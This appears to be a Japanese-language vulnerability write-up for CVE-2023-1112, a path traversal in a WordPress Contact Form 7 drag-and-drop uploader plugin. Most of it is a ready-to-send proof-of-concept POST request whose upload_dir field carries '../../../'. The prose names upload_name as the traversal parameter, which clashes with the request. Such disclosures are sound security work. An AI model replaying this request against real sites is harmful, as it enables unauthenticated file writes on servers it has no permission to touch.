nickguitar/drag-and-drop-multiple-file-uploader-pro-path-traversalDrag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 パストラバーサル (CVE-2023-1112)
Drag and Drop Multiple File Uploader PRO - Contact Form 7 バージョン 5.0.6.1 のパストラバーサルにより、未認証のリモート攻撃者がリモートサーバー上の書き込み可能な任意の場所にファイルをアップロードできます (CVE-2023-1112)。
この脆弱性を悪用するには、攻撃者はプラグインのフォームを使用してファイルをアップロードする必要があります。このPOSTリクエストには upload_name パラメータが必要で、その値はファイルがアップロードされるフォルダ名です。攻撃者は ../、../../../、foldername など任意の値を指定できます（アップロードディレクトリに "foldername" フォルダが作成されます）。
POST /wp-admin/admin-ajax.php HTTP/2
Host: example.org
Content-Length: 756
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIzvIrbHjHpxzepPi
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="size_limit"
2e+9
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_dir"
../../../
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="post_id"
1868
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="security"
0a4dca2b89
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="form_id"
9210
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_name"
foto
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload-file"; filename="pngout.png"
Content-Type: image/png
// image contents
------WebKitFormBoundaryIzvIrbHjHpxzepPi--
